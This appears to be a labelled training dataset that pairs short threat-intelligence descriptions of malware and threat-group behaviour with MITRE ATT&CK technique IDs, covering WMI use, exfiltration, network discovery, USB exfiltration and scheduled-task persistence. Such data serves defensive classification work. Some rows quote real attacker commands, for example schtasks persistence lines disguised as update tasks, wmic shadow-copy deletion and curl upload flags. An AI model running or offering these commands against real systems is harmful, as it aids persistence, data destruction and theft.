"GravityRAT collects various information via WMI requests, including CPU information in the Win32_Processor entry (Processor ID, Name, Manufacturer and the clock speed).",['T1047 - Windows Management Instrumentation'],fine_tune
HALFBAKED can use WMI queries to gather system information.,['T1047 - Windows Management Instrumentation'],fine_tune
HELLOKITTY can use WMI to delete volume shadow copies.,['T1047 - Windows Management Instrumentation'],fine_tune
HOPLIGHT has used WMI to recompile the Managed Object Format (MOF) files in the WMI repository.,['T1047 - Windows Management Instrumentation'],fine_tune
HermeticWizard can use WMI to create a new process on a remote machine via `C:\windows\system32\cmd.exe /c start C:\windows\system32\\regsvr32.exe /s /iC:\windows\<filename>.dll`.,['T1047 - Windows Management Instrumentation'],fine_tune
IcedID has used WMI to execute binaries.,['T1047 - Windows Management Instrumentation'],fine_tune
Impacket's wmiexec module can be used to execute commands through WMI.,['T1047 - Windows Management Instrumentation'],fine_tune
Koadic can use WMI to execute commands.,['T1047 - Windows Management Instrumentation'],fine_tune
Lazarus Group has used WMIC for discovery as well as to execute payloads for persistence and lateral movement.,['T1047 - Windows Management Instrumentation'],fine_tune
Lucifer can use WMI to log into remote machines for propagation.,['T1047 - Windows Management Instrumentation'],fine_tune
Magic Hound has used a tool to run `cmd /c wmic computersystem get domain` for discovery.,['T1047 - Windows Management Instrumentation'],fine_tune
"Maze has used WMI to attempt to delete the shadow volumes on a machine, and to connect a virtual machine to the network domain of the victim organization's network.",['T1047 - Windows Management Instrumentation'],fine_tune
Meteor can use `wmic.exe` as part of its effort to delete shadow copies.,['T1047 - Windows Management Instrumentation'],fine_tune
Micropsia searches for anti-virus software and firewall products installed on the victim’s machine using WMI.,"['T1047 - Windows Management Instrumentation', 'T1518.001 - Software Discovery: Security Software Discovery']",fine_tune
Mosquito's installer uses WMI to search for antivirus display names.,['T1047 - Windows Management Instrumentation'],fine_tune
MuddyWater has used malware that leveraged WMI for execution and querying host information.,['T1047 - Windows Management Instrumentation'],fine_tune
Naikon has used WMIC.exe for lateral movement.,['T1047 - Windows Management Instrumentation'],fine_tune
Netwalker can use WMI to delete Shadow Volumes.,['T1047 - Windows Management Instrumentation'],fine_tune
"NotPetya can use ""wmic"" to help propagate itself across a network.",['T1047 - Windows Management Instrumentation'],fine_tune
Octopus has used wmic.exe for local discovery information.,['T1047 - Windows Management Instrumentation'],fine_tune
OilRig has used WMI for execution.,['T1047 - Windows Management Instrumentation'],fine_tune
OopsIE uses WMI to perform discovery techniques.,['T1047 - Windows Management Instrumentation'],fine_tune
POWERSTATS can use WMI queries to retrieve data from compromised hosts.,['T1047 - Windows Management Instrumentation'],fine_tune
POWRUNER may use WMI when collecting information about a victim.,['T1047 - Windows Management Instrumentation'],fine_tune
ProLock can use WMIC to execute scripts on targeted hosts.,['T1047 - Windows Management Instrumentation'],fine_tune
PyDCrypt has attempted to execute with WMIC.,['T1047 - Windows Management Instrumentation'],fine_tune
RATANKBA uses WMI to perform process monitoring.,['T1047 - Windows Management Instrumentation'],fine_tune
REvil can use WMI to monitor for and kill specific processes listed in its configuration file.,['T1047 - Windows Management Instrumentation'],fine_tune
Remexi executes received commands with wmic.exe (for WMI commands).,['T1047 - Windows Management Instrumentation'],fine_tune
RogueRobin uses various WMI queries to check if the sample is running in a sandbox.,['T1047 - Windows Management Instrumentation'],fine_tune
SILENTTRINITY can use WMI for lateral movement.,['T1047 - Windows Management Instrumentation'],fine_tune
"SUNBURST used the WMI query ""Select * From Win32_SystemDriver"" to retrieve a driver listing.",['T1047 - Windows Management Instrumentation'],fine_tune
Sandworm Team has used VBScript to run WMI queries.,['T1047 - Windows Management Instrumentation'],fine_tune
SharpStage can use WMI for execution.,['T1047 - Windows Management Instrumentation'],fine_tune
"Stuxnet used WMI with an ""explorer.exe"" token to execute on a remote share.",['T1047 - Windows Management Instrumentation'],fine_tune
SysUpdate can use WMI for execution on a compromised host.,['T1047 - Windows Management Instrumentation'],fine_tune
UNC2452 used WMI for the remote execution of files for lateral movement.,['T1047 - Windows Management Instrumentation'],fine_tune
Ursnif droppers have used WMI classes to execute PowerShell commands.,['T1047 - Windows Management Instrumentation'],fine_tune
"Valak can use ""wmic process call create"" in a scheduled task to launch plugins and for execution.",['T1047 - Windows Management Instrumentation'],fine_tune
"WannaCry utilizes ""wmic"" to delete shadow copies.",['T1047 - Windows Management Instrumentation'],fine_tune
Windshift has used WMI to collect information about target machines.,['T1047 - Windows Management Instrumentation'],fine_tune
Wizard Spider has used WMI and LDAP queries for network discovery and to move laterally.,['T1047 - Windows Management Instrumentation'],fine_tune
jRAT uses WMIC to identify anti-virus products installed on the victim’s machine and to obtain firewall details.,['T1047 - Windows Management Instrumentation'],fine_tune
"Bundlore uses the ""curl -s -L -o"" command to exfiltrate archived data to a URL.",['T1048 - Exfiltration Over Alternative Protocol'],fine_tune
FrameworkPOS can use DNS tunneling for exfiltration of credit card data.,['T1048 - Exfiltration Over Alternative Protocol'],fine_tune
Hydraq connects to a predefined domain on port 443 to exfil gathered information.,['T1048 - Exfiltration Over Alternative Protocol'],fine_tune
Kobalos can exfiltrate credentials over the network via UDP.,['T1048 - Exfiltration Over Alternative Protocol'],fine_tune
PoetRAT has used a .NET tool named dog.exe to exiltrate information over an e-mail account.,['T1048 - Exfiltration Over Alternative Protocol'],fine_tune
APT28 has exfiltrated archives of collected data previously staged on a target's OWA server via HTTPS.,['T1048.002 - Exfiltration Over Alternative Protocol - Exfiltration Over Asymmetric Encrypted Non-C2 Protocol'],fine_tune
APT29 has exfiltrated collected data over a simple HTTPS request to a password-protected archive staged on a victim's OWA servers.,['T1048.002 - Exfiltration Over Alternative Protocol - Exfiltration Over Asymmetric Encrypted Non-C2 Protocol'],fine_tune
UNC2452 exfiltrated collected data over a simple HTTPS request to a password-protected archive staged on a victim's OWA servers.,['T1048.002 - Exfiltration Over Alternative Protocol - Exfiltration Over Asymmetric Encrypted Non-C2 Protocol'],fine_tune
APT32's backdoor can exfiltrate data by encoding it in the subdomain field of DNS packets.,['T1048.003 - Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol'],fine_tune
"Agent Tesla has routines for exfiltration over SMTP, FTP, and HTTP.",['T1048.003 - Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol'],fine_tune
BITSAdmin can be used to create BITS Jobs to upload files from a compromised host.,['T1048.003 - Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol'],fine_tune
CORALDECK has exfiltrated data in HTTP POST headers.,['T1048.003 - Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol'],fine_tune
Carbon uses HTTP to send data to the C2 server.,['T1048.003 - Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol'],fine_tune
CharmPower can send victim data via FTP with credentials hardcoded in the script.,['T1048.003 - Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol'],fine_tune
Cherry Picker exfiltrates files over FTP.,['T1048.003 - Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol'],fine_tune
"CookieMiner has used the ""curl --upload-file"" command to exfiltrate data over HTTP.",['T1048.003 - Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol'],fine_tune
CosmicDuke exfiltrates collected files over FTP or WebDAV. Exfiltration servers can be separately configured from C2 servers.,['T1048.003 - Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol'],fine_tune
"Dok exfiltrates logs of its execution stored in the ""/tmp"" folder over FTP using the ""curl"" command.",['T1048.003 - Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol'],fine_tune
FIN8 has used FTP to exfiltrate collected data.,['T1048.003 - Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol'],fine_tune
"Kessel can exfiltrate credentials and other information via HTTP POST request, TCP, and DNS.",['T1048.003 - Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol'],fine_tune
Lazarus Group malware SierraBravo-Two generates an email message via SMTP containing information about newly infected victims.,['T1048.003 - Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol'],fine_tune
PoetRAT has used ftp for exfiltration.,['T1048.003 - Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol'],fine_tune
"Remsec can exfiltrate data via a DNS tunnel or email, separately from its C2 channel.",['T1048.003 - Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol'],fine_tune
"Some Brave Prince variants have used South  Korea's Daum email service to exfiltrate information, and later variants have posted the data to a web server via an HTTP post command.",['T1048.003 - Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol'],fine_tune
Thrip has used WinSCP to exfiltrate data from a targeted organization over FTP.,['T1048.003 - Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol'],fine_tune
WindTail has the ability to automatically exfiltrate files using the macOS built-in utility /usr/bin/curl.,['T1048.003 - Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol'],fine_tune
Wizard Spider has exfiltrated victim information using FTP.,['T1048.003 - Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol'],fine_tune
ccf32 can upload collected data and files to an FTP server.,['T1048.003 - Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol'],fine_tune
ftp may be used to exfiltrate data separate from the main command and control protocol.,['T1048.003 - Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol'],fine_tune
"APT32 used the ""netstat -anpo tcp"" command to display TCP connections on the victim's machine.",['T1049 - System Network Connections Discovery'],fine_tune
"APT38 installed a port monitoring tool, MAPMAKER, to print the active TCP connections on the local system.",['T1049 - System Network Connections Discovery'],fine_tune
"Andariel has used the ""netstat -naop tcp"" command to display TCP connections on a victim's machine.",['T1049 - System Network Connections Discovery'],fine_tune
Aria-body has the ability to gather TCP and UDP table status listings.,['T1049 - System Network Connections Discovery'],fine_tune
Babuk can use “WNetOpenEnumW” and “WNetEnumResourceW” to enumerate files in network resources for encryption.,['T1049 - System Network Connections Discovery'],fine_tune
BackdoorDiplomacy has used NetCat and PortQry  to enumerate network connections and display the status of related TCP and UDP ports.,['T1049 - System Network Connections Discovery'],fine_tune
BlackEnergy has gathered information about local network connections using netstat.,['T1049 - System Network Connections Discovery'],fine_tune
"Carbon uses the ""netstat -r"" and ""netstat -an"" commands.",['T1049 - System Network Connections Discovery'],fine_tune
"Chimera has used ""netstat -ano | findstr EST"" to discover network connections.",['T1049 - System Network Connections Discovery'],fine_tune
Cobalt Strike can produce a sessions report from compromised hosts.,['T1049 - System Network Connections Discovery'],fine_tune
"Commands such as ""net use"" and ""net session"" can be used in Net to gather information about network connections from a particular host.",['T1049 - System Network Connections Discovery'],fine_tune
"Comnie executes the ""netstat -ano"" command.",['T1049 - System Network Connections Discovery'],fine_tune
Conti can enumerate routine network connections from a compromised host.,['T1049 - System Network Connections Discovery'],fine_tune
"Cuba can use the function ""GetIpNetTable"" to recover the last connections to the victim's machine.",['T1049 - System Network Connections Discovery'],fine_tune
Dtrack can collect network and active connection information.,['T1049 - System Network Connections Discovery'],fine_tune
"During FunnyDream, the threat actors used netstat to discover network connections on remote systems.",['T1049 - System Network Connections Discovery'],fine_tune
"During Operation Wocao, threat actors collected a list of open connections on the infected system using `netstat` and checks whether it has an internet connection.",['T1049 - System Network Connections Discovery'],fine_tune
Egregor can enumerate all connected drives.,['T1049 - System Network Connections Discovery'],fine_tune
Empire can enumerate the current network connections of a host.,['T1049 - System Network Connections Discovery'],fine_tune
"Epic uses the ""net use"", ""net session"", and ""netstat"" commands to gather information on network connections.",['T1049 - System Network Connections Discovery'],fine_tune
"GravityRAT uses the ""netstat"" command to find open ports on the victim’s machine.",['T1049 - System Network Connections Discovery'],fine_tune
"KONNI has used ""net session"" on the victim's machine.",['T1049 - System Network Connections Discovery'],fine_tune
"Ke3chang performs local network connection discovery using ""netstat"".",['T1049 - System Network Connections Discovery'],fine_tune
"Kwampirs collects a list of active and listening connections by using the command ""netstat -nao"" as well as a list of available network mappings with ""net use"".",['T1049 - System Network Connections Discovery'],fine_tune
"Lazarus Group has used ""net use"" to identify and establish a network connection with a remote host.",['T1049 - System Network Connections Discovery'],fine_tune
Lucifer can identify the IP and port numbers for all remote connections from the compromised host.,['T1049 - System Network Connections Discovery'],fine_tune
"Machete uses the ""netsh wlan show networks mode=bssid"" and ""netsh wlan show interfaces"" commands to list all nearby WiFi networks and connected interfaces.",['T1049 - System Network Connections Discovery'],fine_tune
Magic Hound has used quser.exe to identify existing RDP connections.,['T1049 - System Network Connections Discovery'],fine_tune
"Maze has used the ""WNetOpenEnumW"", ""WNetEnumResourceW”, “WNetCloseEnum” and “WNetAddConnection2W” functions to enumerate the network resources on the infected machine.",['T1049 - System Network Connections Discovery'],fine_tune
NETWIRE can capture session logon details from a compromised host.,['T1049 - System Network Connections Discovery'],fine_tune
"OilRig has used ""netstat -an"" on a victim to get a listing of network connections.",['T1049 - System Network Connections Discovery'],fine_tune
Okrum was seen using NetSess to discover NetBIOS sessions.,['T1049 - System Network Connections Discovery'],fine_tune
"PlugX has a module for enumerating TCP and UDP network connections and associated processes using the ""netstat"" command.",['T1049 - System Network Connections Discovery'],fine_tune
Poseidon Group obtains and saves information about victim network interfaces and addresses.,['T1049 - System Network Connections Discovery'],fine_tune
PoshC2 contains an implementation of netstat to enumerate TCP and UDP connections.,['T1049 - System Network Connections Discovery'],fine_tune
"Pupy has a built-in utility command for ""netstat"", can do net session through PowerView, and has an interactive shell which can be used to discover additional information.",['T1049 - System Network Connections Discovery'],fine_tune
PyDCrypt has used netsh to find RPC connections on remote machines.,['T1049 - System Network Connections Discovery'],fine_tune
"QakBot can use ""netstat"" to enumerate current network connections.",['T1049 - System Network Connections Discovery'],fine_tune
"RATANKBA uses ""netstat -ano"" to search for specific IP address ranges.",['T1049 - System Network Connections Discovery'],fine_tune
"Ramsay can use ""netstat"" to enumerate network connections.",['T1049 - System Network Connections Discovery'],fine_tune
RedLeaves can enumerate drives and Remote Desktop sessions.,['T1049 - System Network Connections Discovery'],fine_tune
SHOTPUT uses netstat to list TCP connection status.,['T1049 - System Network Connections Discovery'],fine_tune
SLOTHFULMEDIA can enumerate open ports on a victim machine.,['T1049 - System Network Connections Discovery'],fine_tune
"Sandworm Team had gathered user, IP address, and server data related to RDP sessions on a compromised host. It has also accessed network diagram files useful for understanding how a host's network was configured.",['T1049 - System Network Connections Discovery'],fine_tune
"ShimRatReporter used the Windows function ""GetExtendedUdpTable"" to detect connected UDP endpoints.",['T1049 - System Network Connections Discovery'],fine_tune
Sibot has retrieved a GUID associated with a present LAN connection on a compromised machine.,['T1049 - System Network Connections Discovery'],fine_tune
Sliver can collect network connection information.,['T1049 - System Network Connections Discovery'],fine_tune
"Sykipot may use ""netstat -ano"" to display active network connections.",['T1049 - System Network Connections Discovery'],fine_tune
"TeamTNT has run ""netstat -anp"" to search for rival malware connections. TeamTNT has also used `libprocesshider` to modify ""/etc/ld.so.preload"".",['T1049 - System Network Connections Discovery'],fine_tune
The discovery modules used with Duqu can collect information on network connections.,['T1049 - System Network Connections Discovery'],fine_tune
Threat Group-3390 has used `net use` and `netstat` to conduct internal discovery of systems. The group has also used `quser.exe` to identify existing RDP sessions on a victim.,['T1049 - System Network Connections Discovery'],fine_tune
Tropic Trooper has tested if the localhost network is available and other connection capability on an infected system using command scripts.,['T1049 - System Network Connections Discovery'],fine_tune
"USBferry can use ""netstat"" and ""nbtstat"" to detect active network connections.",['T1049 - System Network Connections Discovery'],fine_tune
Volgmer can gather information about TCP connection state.,['T1049 - System Network Connections Discovery'],fine_tune
Waterbear can use API hooks on `GetExtendedTcpTable` to retrieve a table containing a list of TCP endpoints available to the application.,['T1049 - System Network Connections Discovery'],fine_tune
"Zebrocy uses ""netstat -aon"" to gather network connection information.",['T1049 - System Network Connections Discovery'],fine_tune
"admin@338 actors used the following command following exploitation of a machine with LOWBALL malware to display network connections: ""netstat -ano >> %temp%\download""",['T1049 - System Network Connections Discovery'],fine_tune
"menuPass has used ""net use"" to conduct connectivity checks to machines.",['T1049 - System Network Connections Discovery'],fine_tune
"netstat can be used to enumerate local network connections, including active TCP connections and other network statistics.",['T1049 - System Network Connections Discovery'],fine_tune
Agent.btz creates a file named thumb.dd on all USB flash drives connected to the victim. This file contains information about the infected system and activity logs.,['T1052.001 - Exfiltration over USB'],fine_tune
Mustang Panda has used a customized PlugX variant which could exfiltrate documents from air-gapped networks.,['T1052.001 - Exfiltration over USB'],fine_tune
Remsec contains a module to move data from airgapped networks to Internet-connected systems by using a removable USB device.,['T1052.001 - Exfiltration over USB'],fine_tune
SPACESHIP copies staged data to removable drives when they are inserted into the system.,['T1052.001 - Exfiltration over USB'],fine_tune
USBStealer exfiltrates collected files via removable media from air-gapped victims.,['T1052.001 - Exfiltration over USB'],fine_tune
Dragonfly has used a scheduled task to execute a malicious file.,['T1053 - Scheduled Task/Job'],fine_tune
"Earth Lusca used the command ""schtasks /Create /SC ONLOgon /TN WindowsUpdateCheck /TR “[file path]” /ru system"" for persistence.",['T1053 - Scheduled Task/Job'],fine_tune
BRONZE BUTLER has used at to register a scheduled task to execute malware during lateral movement.,['T1053.002 - Scheduled Task/Job: At'],fine_tune
CrackMapExec can set a scheduled task on the target system to execute commands remotely using at.,['T1053.002 - Scheduled Task/Job: At'],fine_tune
at can be used to schedule a task on a system to be executed at a specific date or time.,['T1053.002 - Scheduled Task/Job: At'],fine_tune
Anchor can install itself as a cron job.,['T1053.003 - Scheduled Task/Job: Cron'],fine_tune
Exaramel for Linux uses crontab for persistence if it does not have root privileges.,['T1053.003 - Scheduled Task/Job: Cron'],fine_tune
Janicab used a cron job for persistence on Mac devices.,['T1053.003 - Scheduled Task/Job: Cron'],fine_tune
Kinsing has used crontab to download and run shell scripts every minute to ensure persistence.,['T1053.003 - Scheduled Task/Job: Cron'],fine_tune
Penquin can use Cron to create periodic and pre-scheduled background jobs.,['T1053.003 - Scheduled Task/Job: Cron'],fine_tune
Rocke installed a cron job that downloaded and executed files from the C2.,['T1053.003 - Scheduled Task/Job: Cron'],fine_tune
Skidmap has installed itself via crontab.,['T1053.003 - Scheduled Task/Job: Cron'],fine_tune
SpeakUp uses cron tasks to ensure persistence.,['T1053.003 - Scheduled Task/Job: Cron'],fine_tune
"The GoldMax Linux variant has used a crontab entry with a ""@reboot"" line to gain persistence.",['T1053.003 - Scheduled Task/Job: Cron'],fine_tune
A Patchwork file stealer can run a TaskScheduler DLL to add persistence.,['T1053.005 - Scheduled Task/Job: Scheduled Task'],fine_tune
"APT-C-36 has used a macro function to set scheduled tasks, disguised as those used by Google.",['T1053.005 - Scheduled Task/Job: Scheduled Task'],fine_tune
APT32 has used scheduled tasks to persist on victim systems.,['T1053.005 - Scheduled Task/Job: Scheduled Task'],fine_tune
APT33 has created a scheduled task to execute a .vbe file multiple times a day.,['T1053.005 - Scheduled Task/Job: Scheduled Task'],fine_tune
APT37 has created scheduled tasks to run malicious scripts on a compromised host.,['T1053.005 - Scheduled Task/Job: Scheduled Task'],fine_tune
APT39 has created scheduled tasks for persistence.,['T1053.005 - Scheduled Task/Job: Scheduled Task'],fine_tune
APT41 used a compromised account to create a scheduled task on a system.,['T1053.005 - Scheduled Task/Job: Scheduled Task'],fine_tune
Anchor can create a scheduled task for persistence.,['T1053.005 - Scheduled Task/Job: Scheduled Task'],fine_tune
AppleJeus has created a scheduled SYSTEM task that runs when a user logs in.,['T1053.005 - Scheduled Task/Job: Scheduled Task'],fine_tune
Attor's installer plugin can schedule a new task that loads the dispatcher on boot/logon.,['T1053.005 - Scheduled Task/Job: Scheduled Task'],fine_tune
BADNEWS creates a scheduled task to establish by executing a malicious payload every subsequent minute.,['T1053.005 - Scheduled Task/Job: Scheduled Task'],fine_tune
BITTER has used scheduled tasks for persistence and execution.,['T1053.005 - Scheduled Task/Job: Scheduled Task'],fine_tune
BONDUPDATER persists using a scheduled task that executes every minute.,['T1053.005 - Scheduled Task/Job: Scheduled Task'],fine_tune
BRONZE BUTLER has used schtasks to register a scheduled task to execute malware during lateral movement.,['T1053.005 - Scheduled Task/Job: Scheduled Task'],fine_tune
BabyShark has used scheduled tasks to maintain persistence.,['T1053.005 - Scheduled Task/Job: Scheduled Task'],fine_tune
BackConfig has the ability to use scheduled tasks to repeatedly execute malicious payloads on a compromised host.,['T1053.005 - Scheduled Task/Job: Scheduled Task'],fine_tune
Blue Mockingbird has used Windows Scheduled Tasks to establish persistence on local and remote hosts.,['T1053.005 - Scheduled Task/Job: Scheduled Task'],fine_tune
Carbon creates several tasks for later execution to continue persistence on the victim’s machine.,['T1053.005 - Scheduled Task/Job: Scheduled Task'],fine_tune
Cobalt Group has created Windows tasks to establish persistence.,['T1053.005 - Scheduled Task/Job: Scheduled Task'],fine_tune
ComRAT has used a scheduled task to launch its PowerShell loader.,['T1053.005 - Scheduled Task/Job: Scheduled Task'],fine_tune
Confucius has created scheduled tasks to maintain persistence on a compromised host.,['T1053.005 - Scheduled Task/Job: Scheduled Task'],fine_tune
CostaRicto has used scheduled tasks to download backdoor tools.,['T1053.005 - Scheduled Task/Job: Scheduled Task'],fine_tune
Crutch has the ability to persist using scheduled tasks.,['T1053.005 - Scheduled Task/Job: Scheduled Task'],fine_tune
Dragonfly 2.0 used scheduled tasks to automatically log out of created accounts every 8 hours as well as to execute malicious files.,['T1053.005 - Scheduled Task/Job: Scheduled Task'],fine_tune
Dragonfly has used scheduled tasks to automatically log out of created accounts every 8 hours as well as to execute malicious files.,['T1053.005 - Scheduled Task/Job: Scheduled Task'],fine_tune
"During Frankenstein, the threat actors established persistence through a scheduled task using the command: `/Create /F /SC DAILY /ST 09:00 /TN WinUpdate /TR`, named ""WinUpdate""",['T1053.005 - Scheduled Task/Job: Scheduled Task'],fine_tune
"During Operation Wocao, threat actors used scheduled tasks to execute malicious PowerShell code on remote systems.",['T1053.005 - Scheduled Task/Job: Scheduled Task'],fine_tune
Empire has modules to interact with the Windows task scheduler.,['T1053.005 - Scheduled Task/Job: Scheduled Task'],fine_tune
EvilBunny has executed commands via scheduled tasks.,['T1053.005 - Scheduled Task/Job: Scheduled Task'],fine_tune
FIN10 has established persistence by using S4U tasks as well as the Scheduled Task option in PowerShell Empire.,['T1053.005 - Scheduled Task/Job: Scheduled Task'],fine_tune
"FIN6 has used scheduled tasks to establish persistence for various malware it uses, including downloaders known as HARDTACK and SHIPBREAD and FrameworkPOS.",['T1053.005 - Scheduled Task/Job: Scheduled Task'],fine_tune
FIN7 malware has created scheduled tasks to establish persistence.,['T1053.005 - Scheduled Task/Job: Scheduled Task'],fine_tune
FIN8 has used scheduled tasks to maintain RDP backdoors.,['T1053.005 - Scheduled Task/Job: Scheduled Task'],fine_tune
Fox Kitten has used Scheduled Tasks for persistence and to load and execute a reverse proxy binary.,['T1053.005 - Scheduled Task/Job: Scheduled Task'],fine_tune
"Frankenstein has established persistence through a scheduled task using the command: "" /Create /F /SC DAILY /ST 09:00 /TN WinUpdate /TR "", named ""WinUpdate"".",['T1053.005 - Scheduled Task/Job: Scheduled Task'],fine_tune
GALLIUM established persistence for PoisonIvy by created a scheduled task.,['T1053.005 - Scheduled Task/Job: Scheduled Task'],fine_tune
"GRIFFON has used ""sctasks"" for persistence.",['T1053.005 - Scheduled Task/Job: Scheduled Task'],fine_tune
Gamaredon Group has created scheduled tasks to launch executables after a designated number of minutes have passed.,['T1053.005 - Scheduled Task/Job: Scheduled Task'],fine_tune
Gazer can establish persistence by creating a scheduled task.,['T1053.005 - Scheduled Task/Job: Scheduled Task'],fine_tune
GoldMax has used scheduled tasks to maintain persistence.,['T1053.005 - Scheduled Task/Job: Scheduled Task'],fine_tune
Goopy has the ability to maintain persistence by creating scheduled tasks set to run every hour.,['T1053.005 - Scheduled Task/Job: Scheduled Task'],fine_tune
GravityRAT creates a scheduled task to ensure it is re-executed everyday.,['T1053.005 - Scheduled Task/Job: Scheduled Task'],fine_tune
GrimAgent has the ability to set persistence using the Task Scheduler.,['T1053.005 - Scheduled Task/Job: Scheduled Task'],fine_tune
HEXANE has used a scheduled task to establish persistence for a keylogger.,['T1053.005 - Scheduled Task/Job: Scheduled Task'],fine_tune
Helminth has used a scheduled task for persistence.,['T1053.005 - Scheduled Task/Job: Scheduled Task'],fine_tune
HotCroissant has attempted to install a scheduled task named “Java Maintenance64” on startup to establish persistence.,['T1053.005 - Scheduled Task/Job: Scheduled Task'],fine_tune
ISMInjector creates scheduled tasks to establish persistence.,['T1053.005 - Scheduled Task/Job: Scheduled Task'],fine_tune
"IronNetInjector has used a task XML file named ""mssch.xml"" to run an IronPython script when a user logs in or when specific system events are created.",['T1053.005 - Scheduled Task/Job: Scheduled Task'],fine_tune
JHUHUGIT has registered itself as a scheduled task to run each time the current user logs in.,['T1053.005 - Scheduled Task/Job: Scheduled Task'],fine_tune
JSS Loader has the ability to launch scheduled tasks to establish persistence.,['T1053.005 - Scheduled Task/Job: Scheduled Task'],fine_tune
Koadic has used scheduled tasks to add persistence.,['T1053.005 - Scheduled Task/Job: Scheduled Task'],fine_tune
LitePower can create a scheduled task to enable persistence mechanisms.,['T1053.005 - Scheduled Task/Job: Scheduled Task'],fine_tune
"Lokibot embedded the commands ""schtasks /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I"" inside a batch script.",['T1053.005 - Scheduled Task/Job: Scheduled Task'],fine_tune
"Lucifer has established persistence by creating the following scheduled task ""schtasks /create /sc minute /mo 1 /tn QQMusic ^ /tr C:Users\%USERPROFILE%\Downloads\spread.exe /F"".",['T1053.005 - Scheduled Task/Job: Scheduled Task'],fine_tune
MCMD can use scheduled tasks for persistence.,['T1053.005 - Scheduled Task/Job: Scheduled Task'],fine_tune
Machete has created scheduled tasks to maintain Machete's persistence.,['T1053.005 - Scheduled Task/Job: Scheduled Task'],fine_tune
Machete used scheduled tasks for persistence.,['T1053.005 - Scheduled Task/Job: Scheduled Task'],fine_tune
"Maze has created scheduled tasks using name variants such as ""Windows Update Security"", ""Windows Update Security Patches"", and ""Google Chrome Security Update"", to launch Maze at a specific time.",['T1053.005 - Scheduled Task/Job: Scheduled Task'],fine_tune
Meteor execution begins from a scheduled task named `Microsoft\Windows\Power Efficiency Diagnostics\AnalyzeAll` and it creates a separate scheduled task called `mstask` to run the wiper only once at 23:55:00.,['T1053.005 - Scheduled Task/Job: Scheduled Task'],fine_tune
Milan can establish persistence on a targeted host with scheduled tasks.,['T1053.005 - Scheduled Task/Job: Scheduled Task'],fine_tune
MuddyWater has used scheduled tasks to establish persistence.,['T1053.005 - Scheduled Task/Job: Scheduled Task'],fine_tune
"Mustang Panda has created a scheduled task to execute additional malicious software, as well as maintain persistence.",['T1053.005 - Scheduled Task/Job: Scheduled Task'],fine_tune
NETWIRE can create a scheduled task to establish persistence.,['T1053.005 - Scheduled Task/Job: Scheduled Task'],fine_tune
Okrum's installer can attempt to achieve persistence by creating a scheduled task.,['T1053.005 - Scheduled Task/Job: Scheduled Task'],fine_tune
One persistence mechanism used by CozyCar is to register itself as a scheduled task.,['T1053.005 - Scheduled Task/Job: Scheduled Task'],fine_tune
OopsIE creates a scheduled task to run itself every three minutes.,['T1053.005 - Scheduled Task/Job: Scheduled Task'],fine_tune
Operation Wocao has used scheduled tasks to execute malicious PowerShell code on remote systems.,['T1053.005 - Scheduled Task/Job: Scheduled Task'],fine_tune
"PowerSploit's ""New-UserPersistenceOption"" Persistence argument can be used to establish via a Scheduled Task/Job.",['T1053.005 - Scheduled Task/Job: Scheduled Task'],fine_tune
Pteranodon schedules tasks to invoke its components in order to establish persistence.,['T1053.005 - Scheduled Task/Job: Scheduled Task'],fine_tune
QUADAGENT creates a scheduled task to maintain persistence on the victim’s machine.,['T1053.005 - Scheduled Task/Job: Scheduled Task'],fine_tune
RTM tries to add a scheduled task to establish persistence.,['T1053.005 - Scheduled Task/Job: Scheduled Task'],fine_tune
RainyDay can use scheduled tasks to achieve persistence.,['T1053.005 - Scheduled Task/Job: Scheduled Task'],fine_tune
Ramsay can schedule tasks via the Windows COM API to maintain persistence.,['T1053.005 - Scheduled Task/Job: Scheduled Task'],fine_tune
"Rancor launched a scheduled task to gain persistence using the ""schtasks /create /sc"" command.",['T1053.005 - Scheduled Task/Job: Scheduled Task'],fine_tune
Remexi utilizes scheduled tasks as a persistence mechanism.,['T1053.005 - Scheduled Task/Job: Scheduled Task'],fine_tune
RemoteCMD can execute commands remotely by creating a new schedule task on the remote system,['T1053.005 - Scheduled Task/Job: Scheduled Task'],fine_tune
Ryuk can remotely create a scheduled task to execute itself on a system.,['T1053.005 - Scheduled Task/Job: Scheduled Task'],fine_tune
"SQLRat has created scheduled tasks in ""%appdata%\Roaming\Microsoft\Templates\"".",['T1053.005 - Scheduled Task/Job: Scheduled Task'],fine_tune
"Saint Bot has created a scheduled task named ""Maintenance"" to establish persistence.",['T1053.005 - Scheduled Task/Job: Scheduled Task'],fine_tune
ServHelper contains modules that will use schtasks to carry out malicious operations.,['T1053.005 - Scheduled Task/Job: Scheduled Task'],fine_tune
SharpStage has a persistence component to write a scheduled task for the payload.,['T1053.005 - Scheduled Task/Job: Scheduled Task'],fine_tune
